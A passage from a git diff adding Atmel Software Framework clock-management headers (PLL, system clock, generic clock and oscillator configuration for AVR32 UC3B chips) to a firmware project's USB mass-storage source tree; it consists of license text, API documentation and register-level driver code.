Example: Setting up PLL0 with default parameters + * + * The following example shows how to configure and enable PLL0 using + * the default parameters specified using the configuration symbols + * listed above. + * \code + pll_enable_config_defaults(0); \endcode + * + * To configure, enable PLL0 using the default parameters and to disable + * a specific feature like Wide Bandwidth Mode (a UC3A3-specific + * PLL option.), you can use this initialization process. + * \code + struct pll_config pllcfg; + if (pll_is_locked(pll_id)) { + return; // Pll already running + } + pll_enable_source(CONFIG_PLL0_SOURCE); + pll_config_defaults(&pllcfg, 0); + pll_config_set_option(&pllcfg, PLL_OPT_WBM_DISABLE); + pll_enable(&pllcfg, 0); + pll_wait_for_lock(0); \endcode + * + * When the last function call returns, PLL0 is ready to be used as the + * main system clock source. + * + * \section pll_group_config Configuration Symbols + * + * Each PLL has a set of default parameters determined by the following + * configuration symbols in the application's configuration file: + * - \b CONFIG_PLLn_SOURCE: The default clock source connected to the + * input of PLL \a n. Must be one of the values defined by the + * #pll_source enum. + * - \b CONFIG_PLLn_MUL: The default multiplier (loop divider) of PLL + * \a n. + * - \b CONFIG_PLLn_DIV: The default input divider of PLL \a n. + * + * These configuration symbols determine the result of calling + * pll_config_defaults() and pll_get_default_rate(). + * + * @{ + */ + +//! \name Chip-specific PLL characteristics +//@{ +/** + * \def PLL_MAX_STARTUP_CYCLES + * \brief Maximum PLL startup time in number of slow clock cycles + */ +/** + * \def NR_PLLS + * \brief Number of on-chip PLLs + */ + +/** + * \def PLL_MIN_HZ + * \brief Minimum frequency that the PLL can generate + */ +/** + * \def PLL_MAX_HZ + * \brief Maximum frequency that the PLL can generate + */ +/** + * \def PLL_NR_OPTIONS + * \brief Number of PLL option bits + */ +//@} + +/** + * \enum pll_source + * \brief PLL clock source + */ + +//! \name PLL configuration +//@{ + +/** + * \struct pll_config + * \brief Hardware-specific representation of PLL configuration. + * + * This structure contains one or more device-specific values + * representing the current PLL configuration. The contents of this + * structure is typically different from platform to platform, and the + * user should not access any fields except through the PLL + * configuration API. + */ + +/** + * \fn void pll_config_init(struct pll_config *cfg, + * enum pll_source src, unsigned int div, unsigned int mul) + * \brief Initialize PLL configuration from standard parameters. + * + * \note This function may be defined inline because it is assumed to be + * called very few times, and usually with constant parameters. Inlining + * it will in such cases reduce the code size significantly. + * + * \param cfg The PLL configuration to be initialized. + * \param src The oscillator to be used as input to the PLL. + * \param div PLL input divider. + * \param mul PLL loop divider (i.e. multiplier). + * + * \return A configuration which will make the PLL run at + * (\a mul / \a div) times the frequency of \a src + */ +/** + * \def pll_config_defaults(cfg, pll_id) + * \brief Initialize PLL configuration using default parameters. + * + * After this function returns, \a cfg will contain a configuration + * which will make the PLL run at (CONFIG_PLLx_MUL / CONFIG_PLLx_DIV) + * times the frequency of CONFIG_PLLx_SOURCE. + * + * \param cfg The PLL configuration to be initialized. + * \param pll_id Use defaults for this PLL. + */ +/** + * \def pll_get_default_rate(pll_id) + * \brief Get the default rate in Hz of \a pll_id + */ +/** + * \fn void pll_config_set_option(struct pll_config *cfg, + * unsigned int option) + * \brief Set the PLL option bit \a option in the configuration \a cfg. + * + * \param cfg The PLL configuration to be changed. + * \param option The PLL option bit to be set. + */ +/** + * \fn void pll_config_clear_option(struct pll_config *cfg, + * unsigned int option) + * \brief Clear the PLL option bit \a option in the configuration \a cfg. + * + * \param cfg The PLL configuration to be changed. + * \param option The PLL option bit to be cleared. + */ +/** + * \fn void pll_config_read(struct pll_config *cfg, unsigned int pll_id) + * \brief Read the currently active configuration of \a pll_id. + * + * \param cfg The configuration object into which to store the currently + * active configuration. + * \param pll_id The ID of the PLL to be accessed. + */ +/** + * \fn void pll_config_write(const struct pll_config *cfg, + * unsigned int pll_id) + * \brief Activate the configuration \a cfg on \a pll_id + * + * \param cfg The configuration object representing the PLL + * configuration to be activated. + * \param pll_id The ID of the PLL to be updated. + */ + +//@} + +//! \name Interaction with the PLL hardware +//@{ +/** + * \fn void pll_enable(const struct pll_config *cfg, + * unsigned int pll_id) + * \brief Activate the configuration \a cfg and enable PLL \a pll_id. + * + * \param cfg The PLL configuration to be activated. + * \param pll_id The ID of the PLL to be enabled. + */ +/** + * \fn void pll_disable(unsigned int pll_id) + * \brief Disable the PLL identified by \a pll_id. + * + * After this function is called, the PLL identified by \a pll_id will + * be disabled. The PLL configuration stored in hardware may be affected + * by this, so if the caller needs to restore the same configuration + * later, it should either do a pll_config_read() before disabling the + * PLL, or remember the last configuration written to the PLL. + * + * \param pll_id The ID of the PLL to be disabled. + */ +/** + * \fn bool pll_is_locked(unsigned int pll_id) + * \brief Determine whether the PLL is locked or not. + * + * \param pll_id The ID of the PLL to check. + * + * \retval true The PLL is locked and ready to use as a clock source + * \retval false The PLL is not yet locked, or has not been enabled. + */ +/** + * \fn void pll_enable_source(enum pll_source src) + * \brief Enable the source of the pll. + * The source is enabled, if the source is not already running. + * + * \param src The ID of the PLL source to enable. + */ +/** + * \fn void pll_enable_config_defaults(unsigned int pll_id) + * \brief Enable the pll with the default configuration. + * PLL is enabled, if the PLL is not already locked. + * + * \param pll_id The ID of the PLL to enable. + */ + +/** + * \brief Wait for PLL \a pll_id to become locked + * + * \todo Use a timeout to avoid waiting forever and hanging the system + * + * \param pll_id The ID of the PLL to wait for. + * + * \retval STATUS_OK The PLL is now locked. + * \retval ERR_TIMEOUT Timed out waiting for PLL to become locked. + */ +static inline int pll_wait_for_lock(unsigned int pll_id) +{ + Assert(pll_id < NR_PLLS); + + while (!pll_is_locked(pll_id)) { + /* Do nothing */ + } + + return 0; +} + +//@} +//! @} + +#endif /* CLK_PLL_H_INCLUDED */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/clock/sysclk.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/clock/sysclk.h new file mode 100755 index 0000000..176d362 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/clock/sysclk.h @@ -0,0 +1,152 @@ +/** + * \file + * + * \brief System clock management + * + * Copyright (c) 2010 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + */ +#ifndef SYSCLK_H_INCLUDED +#define SYSCLK_H_INCLUDED + +#include +#include "conf_clock.h" + +#if (UC3A0 || UC3A1) +# include "uc3a0_a1/sysclk.h" +#elif UC3A3 +# include "uc3a3_a4/sysclk.h" +#elif UC3B +# include "uc3b0_b1/sysclk.h" +#elif UC3C +# include "uc3c/sysclk.h" +#elif UC3D +# include "uc3d/sysclk.h" +#elif UC3L +# include "uc3l/sysclk.h" +#elif XMEGA +# include "xmega/sysclk.h" +#else +# error Unsupported chip type +#endif + +/** + * \defgroup clk_group Clock Management + */ + +/** + * \ingroup clk_group + * \defgroup sysclk_group System Clock Management + * + * The sysclk API covers the system clock and all + * clocks derived from it. The system clock is a chip-internal clock on + * which all synchronous clocks, i.e. CPU and bus/peripheral + * clocks, are based. The system clock is typically generated from one + * of a variety of sources, which may include crystal and RC oscillators + * as well as PLLs. The clocks derived from the system clock are + * sometimes also known as synchronous clocks, since they + * always run synchronously with respect to each other, as opposed to + * generic clocks which may run from different oscillators or + * PLLs. + * + * Most applications should simply call sysclk_init() to initialize + * everything related to the system clock and its source (oscillator, + * PLL or DFLL), and leave it at that. More advanced applications, and + * platform-specific drivers, may require additional services from the + * clock system, some of which may be platform-specific. + * + * \section sysclk_group_platform Platform Dependencies + * + * The sysclk API is partially chip- or platform-specific. While all + * platforms provide mostly the same functionality, there are some + * variations around how different bus types and clock tree structures + * are handled. + * + * The following functions are available on all platforms with the same + * parameters and functionality. These functions may be called freely by + * portable applications, drivers and services: + * - sysclk_init() + * - sysclk_set_source() + * - sysclk_get_main_hz() + * - sysclk_get_cpu_hz() + * - sysclk_get_peripheral_bus_hz() + * + * The following functions are available on all platforms, but there may + * be variations in the function signature (i.e. parameters) and + * behaviour. These functions are typically called by platform-specific + * parts of drivers, and applications that aren't intended to be + * portable: + * - sysclk_enable_peripheral_clock() + * - sysclk_disable_peripheral_clock() + * - sysclk_enable_module() + * - sysclk_disable_module() + * - sysclk_module_is_enabled() + * - sysclk_set_prescalers() + * + * All other functions should be considered platform-specific. + * Enabling/disabling clocks to specific peripherals as well as + * determining the speed of these clocks should be done by calling + * functions provided by the driver for that peripheral. + * + * @{ + */ + +//! \name System Clock Initialization +//@{ +/** + * \fn void sysclk_init(void) + * \brief Initialize the synchronous clock system. + * + * This function will initialize the system clock and its source. This + * includes: + * - Mask all synchronous clocks except for any clocks which are + * essential for normal operation (for example internal memory + * clocks). + * - Set up the system clock prescalers as specified by the + * application's configuration file. + * - Enable the clock source specified by the application's + * configuration file (oscillator or PLL) and wait for it to become + * stable. + * - Set the main system clock source to the clock specified by the + * application's configuration file. + * + * Since all non-essential peripheral clocks are initially disabled, it + * is the responsibility of the peripheral driver to re-enable any + * clocks that are needed for normal operation. + */ +//@} + +//! @} + +#endif /* SYSCLK_H_INCLUDED */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/clock/uc3b0_b1/genclk.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/clock/uc3b0_b1/genclk.h new file mode 100755 index 0000000..861bd0c --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/clock/uc3b0_b1/genclk.h @@ -0,0 +1,174 @@ +/** + * \file + * + * \brief Chip-specific generic clock management + * + * Copyright (c) 2010-2011 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + */ +#ifndef CHIP_GENCLK_H_INCLUDED +#define CHIP_GENCLK_H_INCLUDED + +#include +#include + +/** + * \weakgroup genclk_group + * @{ + */ + +//! \name Chip-specific generic clock definitions +//@{ + +//! The max division factor applicable to the source clock of the generic clock +#define GENCLK_DIV_MAX ((1 << AVR32_PM_GCCTRL_DIV_SIZE) * 2) + +#ifndef __ASSEMBLY__ + +#include +#include + +enum genclk_source { + GENCLK_SRC_OSC0 = 0, //!< Oscillator 0 + GENCLK_SRC_OSC1 = 1, //!< Oscillator 1 + GENCLK_SRC_PLL0 = 2, //!< PLL 0 + GENCLK_SRC_PLL1 = 3, //!< PLL 1 +}; + +//@} + +struct genclk_config { + uint32_t ctrl; +}; + +static inline void genclk_config_defaults(struct genclk_config *cfg, + unsigned int id) +{ + cfg->ctrl = 0; +} + +static inline void genclk_config_read(struct genclk_config *cfg, + unsigned int id) +{ + cfg->ctrl = AVR32_PM.gcctrl[id]; +} + +static inline void genclk_config_write(const struct genclk_config *cfg, + unsigned int id) +{ + AVR32_PM.gcctrl[id] = cfg->ctrl; +} + +static inline void genclk_config_set_source(struct genclk_config *cfg, + enum genclk_source src) +{ + uint32_t mask; + + mask = AVR32_PM_GCCTRL_OSCSEL_MASK | AVR32_PM_GCCTRL_PLLSEL_MASK; + Assert(!(src & ~mask)); + + cfg->ctrl = (cfg->ctrl & ~mask) | (src << AVR32_PM_GCCTRL_OSCSEL); +} + +static inline void genclk_config_set_divider(struct genclk_config *cfg, + unsigned int divider) +{ + Assert((divider > 0) && (divider <= GENCLK_DIV_MAX)); + + /* Clear all the bits we're about to modify */ + cfg->ctrl &= ~(AVR32_PM_GCCTRL_DIVEN_MASK | AVR32_PM_GCCTRL_DIV_MASK); + + if (divider > 1) { + cfg->ctrl |= 1U << AVR32_PM_GCCTRL_DIVEN; + cfg->ctrl |= ((divider >> 1) - 1) << AVR32_PM_GCCTRL_DIV; + } +} + +static inline void genclk_enable(const struct genclk_config *cfg, + unsigned int id) +{ + AVR32_PM.gcctrl[id] = cfg->ctrl | (1U << AVR32_PM_GCCTRL_CEN); +} + +static inline void genclk_disable(unsigned int id) +{ + AVR32_PM.gcctrl[id] = 0; +} + +static inline void genclk_enable_source(enum genclk_source src) +{ + switch (src) { +#ifdef BOARD_OSC0_HZ + case GENCLK_SRC_OSC0: + if (!osc_is_ready(OSC_ID_OSC0)) { + osc_enable(OSC_ID_OSC0); + osc_wait_ready(OSC_ID_OSC0); + } + break; +#endif + +#ifdef BOARD_OSC1_HZ + case GENCLK_SRC_OSC1: + if (!osc_is_ready(OSC_ID_OSC1)) { + osc_enable(OSC_ID_OSC1); + osc_wait_ready(OSC_ID_OSC1); + } + break; +#endif + +#ifdef CONFIG_PLL0_SOURCE + case GENCLK_SRC_PLL0: { + pll_enable_config_defaults(0); + break; + } +#endif + +#ifdef CONFIG_PLL1_SOURCE + case GENCLK_SRC_PLL1: { + pll_enable_config_defaults(1); + break; + } +#endif + + default: + Assert(false); + break; + } +} + +#endif /* __ASSEMBLY__ */ + +//! @} + +#endif /* CHIP_GENCLK_H_INCLUDED */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/clock/uc3b0_b1/osc.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/clock/uc3b0_b1/osc.h new file mode 100755 index 0000000..981142e --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/clock/uc3b0_b1/osc.h @@ -0,0 +1,533 @@ +/** + * \file + * + * \brief Chip-specific oscillator management functions + * + * Copyright (c) 2010-2011 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + */ +#ifndef CHIP_OSC_H_INCLUDED +#define CHIP_OSC_H_INCLUDED + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * \weakgroup osc_group + * @{ + */ + +//! \name Oscillator identifiers +//@{ +#define OSC_ID_OSC0 0 //!< External Oscillator 0 +#define OSC_ID_OSC1 1 //!< External Oscillator 1 +#define OSC_ID_OSC32 2 //!< External 32 kHz oscillator +//@} + +//! \name OSC0/OSC1 mode values +//@{ +//! External clock connected to XIN +#define OSC_MODE_EXTERNAL AVR32_PM_MODE_EXT_CLOCK +//! Crystal connected to XIN/XOUT. Use oscillator gain G0 (400 kHz to 900 kHz) +#define OSC_MODE_XTAL_G0 AVR32_PM_MODE_CRYSTAL_G0 +//! Crystal connected to XIN/XOUT. Use oscillator gain G1 (900 kHz to 3 MHz) +#define OSC_MODE_XTAL_G1 AVR32_PM_MODE_CRYSTAL_G1 +//! Crystal connected to XIN/XOUT. Use oscillator gain G2 (3 MHz to 8 MHz) +#define OSC_MODE_XTAL_G2 AVR32_PM_MODE_CRYSTAL_G2 +//! Crystal connected to XIN/XOUT. Use oscillator gain G3 (8 MHz and higher) +#define OSC_MODE_XTAL_G3 AVR32_PM_MODE_CRYSTAL_G3 +//@} + +//! \name OSC32 mode values +//@{ +//! External clock connected to XIN32 +#define OSC32_MODE_EXTERNAL AVR32_PM_OSCCTRL32_MODE_EXT_CLOCK +//! Crystal connected to XIN32/XOUT32. Use automatic gain control +#define OSC32_MODE_XTAL AVR32_PM_OSCCTRL32_MODE_CRYSTAL +//@} + +//! \name OSC0/OSC1 startup values +//@{ +//! 0 cycles +#define OSC_STARTUP_0 AVR32_PM_OSCCTRL0_STARTUP_0_RCOSC +//! 64 cycles (560 us) +#define OSC_STARTUP_64 AVR32_PM_OSCCTRL0_STARTUP_64_RCOSC +//! 128 cycles (1.1 ms) +#define OSC_STARTUP_128 AVR32_PM_OSCCTRL0_STARTUP_128_RCOSC +//! 2048 cycles (18 ms) +#define OSC_STARTUP_2048 AVR32_PM_OSCCTRL0_STARTUP_2048_RCOSC +//! 4096 cycles (36 ms) +#define OSC_STARTUP_4096 AVR32_PM_OSCCTRL0_STARTUP_4096_RCOSC +//! 8192 cycles (71 ms) +#define OSC_STARTUP_8192 AVR32_PM_OSCCTRL0_STARTUP_8192_RCOSC +//! 16384 cycles (142 ms) +#define OSC_STARTUP_16384 AVR32_PM_OSCCTRL0_STARTUP_16384_RCOSC +//@} + +//! \name OSC32 startup values +//@{ +//! 0 cycles +#define OSC32_STARTUP_0 AVR32_PM_OSCCTRL32_STARTUP_0_RCOSC +//! 128 cycles (1.1 ms) +#define OSC32_STARTUP_128 AVR32_PM_OSCCTRL32_STARTUP_128_RCOSC +//! 8192 cycles (72.3 ms) +#define OSC32_STARTUP_8192 AVR32_PM_OSCCTRL32_STARTUP_8192_RCOSC +//! 16384 cycles (143 ms) +#define OSC32_STARTUP_16384 AVR32_PM_OSCCTRL32_STARTUP_16384_RCOSC +//! 65536 cycles (570 ms) +#define OSC32_STARTUP_65536 AVR32_PM_OSCCTRL32_STARTUP_65536_RCOSC +//! 131072 cycles (1.1 s) +#define OSC32_STARTUP_131072 AVR32_PM_OSCCTRL32_STARTUP_131072_RCOSC +//! 262144 cycles (2.3 s) +#define OSC32_STARTUP_262144 AVR32_PM_OSCCTRL32_STARTUP_262144_RCOSC +//! 524288 cycles (4.6 s) +#define OSC32_STARTUP_524288 AVR32_PM_OSCCTRL32_STARTUP_524288_RCOSC +//@} + +/** + * \def OSC0_STARTUP_TIMEOUT + * \brief Number of slow clock cycles to wait for OSC0 to start + * + * This is the number of slow clock cycles corresponding to + * OSC0_STARTUP_VALUE with an additional 25% safety margin. If the + * oscillator isn't running when this timeout has expired, it is assumed + * to have failed to start. + */ +/** + * \def OSC0_MODE_VALUE + * \brief Board-dependent value written to the MODE bitfield of + * PM_OSCCTRL(0) + */ +/** + * \def OSC0_STARTUP_VALUE + * \brief Board-dependent value written to the STARTUP bitfield of + * PM_OSCCTRL(0) + */ + +#if defined(BOARD_OSC0_STARTUP_US) +# if BOARD_OSC0_STARTUP_US == 0 +# define OSC0_STARTUP_VALUE OSC_STARTUP_0 +# define OSC0_STARTUP_TIMEOUT 8 +# elif BOARD_OSC0_STARTUP_US <= 560 +# define OSC0_STARTUP_VALUE OSC_STARTUP_64 +# define OSC0_STARTUP_TIMEOUT 80 +# elif BOARD_OSC0_STARTUP_US <= 1100 +# define OSC0_STARTUP_VALUE OSC_STARTUP_128 +# define OSC0_STARTUP_TIMEOUT 160 +# elif BOARD_OSC0_STARTUP_US <= 18000 +# define OSC0_STARTUP_VALUE OSC_STARTUP_2048 +# define OSC0_STARTUP_TIMEOUT 2560 +# elif BOARD_OSC0_STARTUP_US <= 36000 +# define OSC0_STARTUP_VALUE OSC_STARTUP_4096 +# define OSC0_STARTUP_TIMEOUT 5120 +# elif BOARD_OSC0_STARTUP_US <= 71000 +# define OSC0_STARTUP_VALUE OSC_STARTUP_8192 +# define OSC0_STARTUP_TIMEOUT 10240 +# elif BOARD_OSC0_STARTUP_US <= 142000 +# define OSC0_STARTUP_VALUE OSC_STARTUP_16384 +# define OSC0_STARTUP_TIMEOUT 20480 +# else +# error BOARD_OSC0_STARTUP_US is too high +# endif +# if BOARD_OSC0_IS_XTAL == true +# if BOARD_OSC0_HZ < 900000 +# define OSC0_MODE_VALUE OSC_MODE_XTAL_G0 +# elif BOARD_OSC0_HZ < 3000000 +# define OSC0_MODE_VALUE OSC_MODE_XTAL_G1 +# elif BOARD_OSC0_HZ < 8000000 +# define OSC0_MODE_VALUE OSC_MODE_XTAL_G2 +# else +# define OSC0_MODE_VALUE OSC_MODE_XTAL_G3 +# endif +# else +# define OSC0_MODE_VALUE OSC_MODE_EXTERNAL +# endif +#else +# ifdef BOARD_OSC0_HZ +# error BOARD_OSC0_STARTUP_US must be defined by the board code +# endif +# ifdef __DOXYGEN__ +# define OSC0_STARTUP_VALUE UNDEFINED +# define OSC0_STARTUP_TIMEOUT UNDEFINED +# define OSC0_MODE_VALUE UNDEFINED +# endif +#endif + +/** + * \def OSC1_STARTUP_VALUE + * \brief Board-dependent value written to the STARTUP bitfield of + * PM_OSCCTRL(1) + */ +/** + * \def OSC1_STARTUP_TIMEOUT + * \brief Number of slow clock cycles to wait for OSC1 to start + * + * This is the number of slow clock cycles corresponding to + * OSC1_STARTUP_VALUE with an additional 25% safety margin. If the + * oscillator isn't running when this timeout has expired, it is assumed + * to have failed to start. + */ +/** + * \def OSC1_MODE_VALUE + * \brief Board-dependent value written to the MODE bitfield of + * PM_OSCCTRL(1) + */ +#if defined(BOARD_OSC1_STARTUP_US) +# if BOARD_OSC1_STARTUP_US == 0 +# define OSC1_STARTUP_VALUE OSC_STARTUP_0 +# define OSC1_STARTUP_TIMEOUT 8 +# elif BOARD_OSC1_STARTUP_US <= 560 +# define OSC1_STARTUP_VALUE OSC_STARTUP_64 +# define OSC1_STARTUP_TIMEOUT 80 +# elif BOARD_OSC1_STARTUP_US <= 1100 +# define OSC1_STARTUP_VALUE OSC_STARTUP_128 +# define OSC1_STARTUP_TIMEOUT 160 +# elif BOARD_OSC1_STARTUP_US <= 18000 +# define OSC1_STARTUP_VALUE OSC_STARTUP_2048 +# define OSC1_STARTUP_TIMEOUT 2560 +# elif BOARD_OSC1_STARTUP_US <= 36000 +# define OSC1_STARTUP_VALUE OSC_STARTUP_4096 +# define OSC1_STARTUP_TIMEOUT 5120 +# elif BOARD_OSC1_STARTUP_US <= 71000 +# define OSC1_STARTUP_VALUE OSC_STARTUP_8192 +# define OSC1_STARTUP_TIMEOUT 10240 +# elif BOARD_OSC1_STARTUP_US <= 142000 +# define OSC1_STARTUP_VALUE OSC_STARTUP_16384 +# define OSC1_STARTUP_TIMEOUT 20480 +# else +# error BOARD_OSC1_STARTUP_US is too high +# endif +# ifdef BOARD_OSC1_IS_XTAL +# if BOARD_OSC1_HZ < 900000 +# define OSC1_MODE_VALUE OSC_MODE_XTAL_G0 +# elif BOARD_OSC1_HZ < 3000000 +# define OSC1_MODE_VALUE OSC_MODE_XTAL_G1 +# elif BOARD_OSC1_HZ < 8000000 +# define OSC1_MODE_VALUE OSC_MODE_XTAL_G2 +# else +# define OSC1_MODE_VALUE OSC_MODE_XTAL_G3 +# endif +# else +# define OSC1_MODE_VALUE OSC_MODE_EXTERNAL +# endif +#else +# ifdef __DOXYGEN__ +# define OSC1_STARTUP_VALUE UNDEFINED +# define OSC1_STARTUP_TIMEOUT UNDEFINED +# define OSC1_MODE_VALUE UNDEFINED +# endif +#endif + +#if defined(BOARD_OSC32_STARTUP_US) +# if BOARD_OSC32_STARTUP_US == 0 +# define OSC32_STARTUP_VALUE OSC32_STARTUP_0 +# elif BOARD_OSC32_STARTUP_US <= 1100 +# define OSC32_STARTUP_VALUE OSC32_STARTUP_128 +# elif BOARD_OSC32_STARTUP_US <= 72300 +# define OSC32_STARTUP_VALUE OSC32_STARTUP_8192 +# elif BOARD_OSC32_STARTUP_US <= 143000 +# define OSC32_STARTUP_VALUE OSC32_STARTUP_16384 +# elif BOARD_OSC32_STARTUP_US <= 570000 +# define OSC32_STARTUP_VALUE OSC32_STARTUP_65536 +# elif BOARD_OSC32_STARTUP_US <= 1100000 +# define OSC32_STARTUP_VALUE OSC32_STARTUP_131072 +# elif BOARD_OSC32_STARTUP_US <= 2300000 +# define OSC32_STARTUP_VALUE OSC32_STARTUP_262144 +# elif BOARD_OSC32_STARTUP_US <= 4600000 +# define OSC32_STARTUP_VALUE OSC32_STARTUP_524288 +# else +# error BOARD_OSC32_STARTUP_US is too high +# endif +# if BOARD_OSC32_IS_XTAL == true +# define OSC32_MODE_VALUE OSC32_MODE_XTAL +# else +# define OSC32_MODE_VALUE OSC32_MODE_EXTERNAL +# endif +#else +# if defined(BOARD_OSC32_HZ) +# error BOARD_OSC32_STARTUP_US must be defined by the board code +# endif +# ifdef __DOXYGEN__ +# define OSC32_STARTUP_VALUE UNDEFINED +# define OSC32_STARTUP_TIMEOUT UNDEFINED +# define OSC32_MODE_VALUE UNDEFINED +# endif +#endif + +/** + * \name Board-specific configuration parameters + * The following definitions must be provided by the board code for all + * working oscillators on the board. + */ +//@{ +/** + * \def BOARD_OSC0_HZ + * \brief Clock frequency of OSC0 in Hz + */ +/** + * \def BOARD_OSC0_STARTUP_US + * \brief Startup time of OSC0 in microseconds + */ +/** + * \def BOARD_OSC0_IS_XTAL + * \brief OSC0 uses a crystal, not an external clock + */ +/** + * \def BOARD_OSC1_HZ + * \brief Clock frequency of OSC1 in Hz + */ +/** + * \def BOARD_OSC1_STARTUP_US + * \brief Startup time of OSC1 in microseconds + */ +/** + * \def BOARD_OSC1_IS_XTAL + * \brief OSC1 uses a crystal, not an external clock + */ +/** + * \def BOARD_OSC32_HZ + * \brief Clock frequency of OSC32 in Hz + */ +/** + * \def BOARD_OSC32_STARTUP_US + * \brief Startup time of OSC32 in microseconds + */ +/** + * \def BOARD_OSC32_IS_XTAL + * \brief OSC32 uses a crystal, not an external clock + */ +#if !defined(BOARD_OSC0_HZ) +# ifdef __DOXYGEN__ +# define BOARD_OSC0_HZ UNDEFINED +# endif +#endif +#if !defined(BOARD_OSC0_STARTUP_US) +# ifdef __DOXYGEN__ +# define BOARD_OSC0_STARTUP_US UNDEFINED +# endif +#endif +#if !defined(BOARD_OSC0_IS_XTAL) +# ifdef __DOXYGEN__ +# define BOARD_OSC0_IS_XTAL UNDEFINED +# endif +#endif +#if !defined(BOARD_OSC1_HZ) +# ifdef __DOXYGEN__ +# define BOARD_OSC1_HZ UNDEFINED +# endif +#endif +#if !defined(BOARD_OSC1_STARTUP_US) +# ifdef __DOXYGEN__ +# define BOARD_OSC1_STARTUP_US UNDEFINED +# endif +#endif +#if !defined(BOARD_OSC1_IS_XTAL) +# ifdef __DOXYGEN__ +# define BOARD_OSC1_IS_XTAL UNDEFINED +# endif 